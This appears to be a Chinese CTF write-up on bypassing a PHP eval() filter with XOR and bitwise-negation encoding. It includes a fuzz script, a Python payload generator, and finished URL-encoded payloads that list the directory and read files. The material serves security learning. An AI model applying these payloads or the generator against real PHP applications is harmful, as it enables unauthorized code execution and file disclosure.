位置:首页 > 安全分类 > WEB安全

从一道题看php异或bypass

2021-06-07 16:02:59 来源:
简介Tags: [php代码审计, bypass]代码如下 <?php highlight_file(__FILE__); ​ $_ = @$_GET[&#39;_&#39;]; if ( preg_match(&#39;/[\x00- 0-9\&#39;"`$&.,|[{_defgops\x7F]+/i
Tags: [php代码审计, bypass]

代码如下

<?php highlight_file(__FILE__); ​ $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); ​ if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); ​ eval($_); ?> 代码分析

前面的那个正则过滤大概就是过滤了下面的这些字符,借鉴师傅博客

\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字 '"`$&.,|[{_defgops             匹配这些字符 \x7F                           匹配DEL(\x7F)字符

而下面的这个if语句实现的效果是,所传入的变量里面的所有不同的字符的个数不能超过十六进制的0xd也就是十进制的13,就是payload里面所有字符的总数不能超过13个就可了。

bypass fuzz可用方法

然后就是如何bypass了,这里可以看到并没有过滤到^,~这两个字符,所以可以使用取反绕过试一试,

但是一般情况下可以先写个脚本看看还有那些函数是可以用的。php可用方法fuzz脚本

<?php $array=get_defined_functions();//返回所有内置定义函数 foreach($array['internal'] as $arr){   //遍历所有方法 if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue; if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue; print($arr.'<br/>'); }

所的结果如下

rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max

虽然这里没什么能用的,但是这个fuzz的脚本还是很有启发性的,遇到bypass的时候可以先用这样的脚本试一试是不是能够直接用某些危险方法。

异或+url编码bypass

这里直接使用取反的那个操作,下面是代码。

<?php $a = urlencode(~'phpinfo'); echo($a);

虽然出来了,但是其实没啥用,因为phpinfo();本来的字符数就没有超过13个,接下来就是缩短字符数与看未被禁用的函数了,下面是被disabled的方法

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

我就认识三个可以命令执行的方法,但是没过滤扫目录的函数scandir(),还有读文件的函数readfile(),还有打印变量信息的函数var_dump(),我借鉴的那个wp里面用的是用多次使用^和()来异或的方式,这里我也这么做,但是条条大路通罗马,肯定还有不少其他方法,这里就不复现了,遇到了再说吧。

bypass脚本实现

这里我们想传入的变量信息是这样的

print_r(scandir('.'));

可以看看有多少个字符

<?php $s = "print_r(scandir('.'));"; $a = strlen(count_chars(strtolower($s), 0x3)); echo($a);

 

表面上是15个字符,但是其实还有^也要用,就是16个了,参考脚本

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)

这个就是用几个有的替代要删掉的就行。然后还有个跟%ff异或的问题,就是一个字符的十六进制形式与0xff进行两次异或之后还是原来的字符,而与0xff(int值为255)进行一次异或之后一般是ascii码值大于128的不可见字符,然后^字符不会被过滤的话,就能实现bypass,所以根据这个原理有下面的生成payload的脚本(借鉴了一些之后原创的嗷,就是没实现自动化生成payload,要手动添加)

# -*- coding: utf-8 -*-# # ------------------------------------------------------------------------------- # Name:         ctf # Description: 复现脚本 # Author:       M4XLMUM # Date:         2021/4/12 # ------------------------------------------------------------------------------- import operator # s = ['print_r', 'scandir', '.'] # 更换成为想要的字符串 s = ['readfile', 'end', 'scandir', '.']  # 更换成为想要的字符串 ​ ans = {} pattern = [] s2 = ''    # 需要进行替换的字符, 假设只对出现一次的字符串进行替换。 ​ ​ # 统计s列表中的字符的出现次数 for j in ''.join(s): ans[j] = ''.join(s).count(j) ​ ​ for i in ans.keys(): ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') ​ keys = ans.keys() for i in keys: for j in keys: for k in keys: for m in keys: if ord(j) ^ ord(k) ^ ord(m) == ord(i): if j == k or j == m or m == k: continue else: flag = 1 for temp in pattern: if i in temp and j in temp and k in temp and m in temp: flag = 0 if flag: pattern.append(i+j+k+m) ​ '''经测试,此块无用geigeigei # 对几对一组的字符串中字符出现次数进行排序,并找出需要进行替换的字符`s2` temp = {} for i in ''.join(pattern): npattern[i] = ''.join(pattern).count(i) # npattern = sorted(temp.items(), key=operator.itemgetter(1)) for i in npattern: if npattern[i] == 1: s2 += i # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ''' ​ print(pattern)  # 打印出pattern之后自己识别需要替换哪一个字符。 ''' 懒得写自动化脚本了,我的小脑子想不太出来 这里的四个字符组成一组的原理实际上就是采用了异或计算的性质,即四个字符中,如果任意三个字符的异或等于另一个,那么这四个字符中任意三个的异或等于另一个字符。 这里的结果是:['prca', 'ints', 'incd', 'tscd'] 那需要替换的可以是:p == r^c^a, i == n^c^d, t == s^c^d ''' # 替换字符为十六进制的形式 # temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'} temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'} rtable = {}   # 需要进行替换的表(已转为十六进制) for i in temp: tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') tempvalue = '' for k in temp[i]: tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%') rtable[tempkey] = tempvalue ​ ​ for i in s: temp1 = '' temp2 = '' temp3 = '' temp4 = '' for j in i: temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%') if temp0 in rtable: temp1 += rtable[temp0][:3] temp2 += rtable[temp0][3:6] temp3 += rtable[temp0][6:9] temp4 += '%ff' else: temp1 += temp0 temp2 += '%ff' temp3 += '%ff' temp4 += '%ff' payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')' print(payload) # payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); ​ # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)))); ​ ''' 上面的payload之所以多加了许多括号是因为要防止异或之后连在一起,反正加个括号也不多的样子 ''' 故可总结payload如下 # payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); ​ # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));

第一个payload暴露出当前路径下的文件,第二个payload读当前路径下的最后一个文件。

bypass原理

上面的脚本的bypass的原理可以分成两个来说

首先,异或绕过

这个很简单,就是使用payload的十六进制与0xff进行异或(并将结果的0x换为%),因为异或计算的性质,一个十六进制与0xff``(这里的0xff实际上可以是任何的其他值应该)进行两次异或之后等于原来的值。

其次,字符限制绕过

这个操作上是将payload的字符串里面的字符替换为本来字符串内还有的其他的字符串的值的异或,例如payload为print_r(scandir(.));时,有下面的等价关系p == r^c^a, i == n^c^d, t == s^c^d,就这样替换。

再从异或层面解释原理就是,一个字符的十六进制与0xff进行四次异或之后还是它本身,总之就是偶数次异或之后一定等于原来的字符。